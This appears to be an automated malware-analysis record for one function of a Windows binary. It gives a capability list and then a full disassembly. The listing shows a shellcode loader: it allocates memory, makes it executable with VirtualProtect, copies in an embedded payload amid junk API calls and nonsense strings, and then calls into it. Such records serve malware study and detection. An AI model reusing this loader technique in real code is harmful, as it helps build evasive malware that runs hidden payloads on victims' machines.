Function at 0x401602
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41278b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1038
call fcn.00407b00
mov ecx, dword [0x1dda960]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x4016f5
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
push edi
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
push edi
btr dword [eax], 0
lea eax, [esp + 0x444]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4186b4
push edi
call fcn.00403b60
push edi
call fcn.00403f2c
add esp, 0xc
lea ecx, [esp + 0xc]
push str.bad_exception
call fcn.00401080
lea ecx, [esp + 0xc]
call fcn.0040109c
push edi
call fcn.004039c3
pop ecx
push edi
call fcn.0040424a
pop ecx
push edi
call fcn.004039c3
mov dword [esp], 0x4186c8
call fcn.004039ed
pop ecx
lea ecx, [esp + 0xc]
call fcn.00401cd1
lea eax, [esp + 8]
mov dword [esp + 0x104c], edi
push eax
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], edi
call fcn.00401cde
or dword [esp + 0x104c], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.00401d0b
mov ecx, dword [0x1dda960]
mov eax, dword [0x41b3b0]
add ecx, 0x1134b
push ecx
push edi
mov dword [0x1dda964], eax
mov dword [0x1dda960], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x1c]
mov dword [0x1dda8cc], eax
push ecx
push 0x40
push dword [0x1dda960]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x401731
mov edx, dword [0x1dda960]
mov esi, edi
test edx, edx
je 0x4017af
mov eax, dword [0x1dda964]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1dda8cc]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x4017aa
push str.jatupukuxijisovi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.tajewubuxizacohemuyoceloruzey
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
push eax
push edi
lea eax, [esp + 0x458]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x1dda960]
inc esi
cmp esi, edx
jb 0x401746
mov esi, edi
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4017f3
push str.dubake
push edi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push edi
lea eax, [esp + 0x10]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push edi
push edi
push str.wuvoja
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1dda960]
inc esi
cmp esi, 0x38681
jl 0x4017b1
push ecx
call fcn.004015bf
mov esi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x401815
call fcn.004015e6
inc esi
cmp esi, 0x674db
jl 0x401804
push 0x7b
pop esi
cmp dword [0x1dda960], 0x86
jne 0x401867
push str.busamo
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push edi
push str.lojogihiwunaliriko
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x24]
push eax
push str.tohudihujamagoboduyocabitit
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xc44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x1dda960], 0xf
jne 0x40187a
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x401821
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x1dda8cc]
mov dword [0x1dda954], eax
call eax
mov ecx, dword [esp + 0x1044]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret